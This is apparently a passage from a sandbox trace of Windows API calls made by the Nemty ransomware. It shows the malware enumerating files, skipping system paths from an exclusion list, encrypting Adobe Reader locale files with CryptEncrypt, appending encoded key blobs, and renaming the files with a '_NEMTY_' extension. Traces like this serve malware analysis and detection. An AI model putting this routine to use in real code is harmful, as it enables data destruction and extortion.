dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.510] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.SKY", cAlternateFileName="")) returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2=".") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="..") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="...") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="windows") returned -1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="rsa") returned -1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="NTDETECT.COM") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="ntldr") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="MSDOS.SYS") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="IO.SYS") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="boot.ini") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="boot.ini") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="ntuser.dat") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="desktop.ini") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="CONFIG.SYS") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="RECYCLER") returned -1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="bootmgr") returned 1 [0183.510] lstrcmpiW (lpString1="pddom.SKY", lpString2="programdata") returned -1 [0183.511] lstrcmpiW (lpString1="pddom.SKY", lpString2="appdata") returned 1 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SKY", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.511] Sleep (dwMilliseconds=0x5) [0183.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2107f430, dwHighDateTime=0x1d561e8)) [0183.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2107f430, dwHighDateTime=0x1d561e8)) [0183.516] GetLastError () returned 0x0 [0183.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.516] GetLastError () returned 0x0 [0183.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.516] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.517] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.517] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="6Z/STu/goaprnGffQVeoSEp1xjhE6D+RD9F9KqobDPWu+dVoECdCDS7Yhsud4JBK\r\na5GGi3ChpOXToiUDquTonNNvwECjBtwk9Zg5Gx9VHs4M+8P0w7UhzfUzeXJdReWp\r\nc0KnFe0kGdVTL+BbNJzpa+WxU59zdchLG8kEh1acWDdEw/40fBPJl88+uDnV4Ahr\r\nkqUjMhsGqRR9M5CF9mOnEKX3rq0OHYRdVOeZRj7xsJZLsywxVTBfioG981lyePBs\r\nV2UMm5EMPuG6h0yeEqe68BcrNsZnsY3aa0rSSHCtCPu/4ZHVROuNeomTQiDDdrIY\r\na1oeC6I0mzdfFELHdH5rzw==\r\n", pcchString=0x653e5dc) returned 1 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\pddom.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\pddom.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.517] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11264) returned 1 [0183.517] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2c00) returned 0x6352c48 [0183.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.517] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2c00, lpOverlapped=0x0) returned 1 [0183.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2c00, lpOverlapped=0x0) returned 1 [0183.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.520] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2c00 [0183.520] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.520] CloseHandle (hObject=0x2e8) returned 1 [0183.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.521] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\pddom.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\pddom.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\pddom.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\pddom.sky._nemty_kgobjgd_")) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.522] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8314b560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.SKY", cAlternateFileName="")) returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2=".") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="..") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="...") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="windows") returned -1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="rsa") returned -1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="NTDETECT.COM") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="ntldr") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="MSDOS.SYS") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="IO.SYS") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="boot.ini") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="boot.ini") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="ntuser.dat") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="desktop.ini") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="CONFIG.SYS") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="RECYCLER") returned -1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="bootmgr") returned 1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="programdata") returned -1 [0183.522] lstrcmpiW (lpString1="PPKLite.SKY", lpString2="appdata") returned 1 [0183.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.SKY", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.SKY", lpUsedDefaultChar=0x0) returned 11 [0183.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.523] Sleep (dwMilliseconds=0x5) [0183.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210a5590, dwHighDateTime=0x1d561e8)) [0183.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x210a5590, dwHighDateTime=0x1d561e8)) [0183.532] GetLastError () returned 0x0 [0183.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.532] GetLastError () returned 0x0 [0183.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.532] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.532] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.532] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EYZzPljzytbEIJWLPI54eNdl5Kkw7yQLoYgt6KfNB+i/pjgAVORsCiEO8RP7QhOd\r\ngGQNwGaK3ZjWwZS13Ec/iaqPAuANYvIw+uJV4Sbklh1oF2K46hrveSveAGfuk/zx\r\nftRagSxlegdnA7pAEXLo9hP/L9Mk1+6GiZNWbH1zE2d0+mVGgbLtN0tMzPeVU5xS\r\n50EQNQSxOf6mckoz2IXebUGFJkBJ4A0FjeDgou/hL8pVeLXN3aeGqdO7lYrIsfre\r\n7WimvJ8Pm54l+5dTlv9/jUMcaSf709I7X303/iQzktoG1wJmoso830chZYXSwBAi\r\njYTmYJt6g1xWTGpmNlPaFw==\r\n", pcchString=0x653e5dc) returned 1 [0183.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\PPKLite.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ppklite.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.533] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=516096) returned 1 [0183.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0183.533] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.533] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0183.542] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.542] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0183.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.543] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=516096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e000 [0183.543] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.544] CloseHandle (hObject=0x2e8) returned 1 [0183.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.544] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.544] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\PPKLite.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ppklite.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 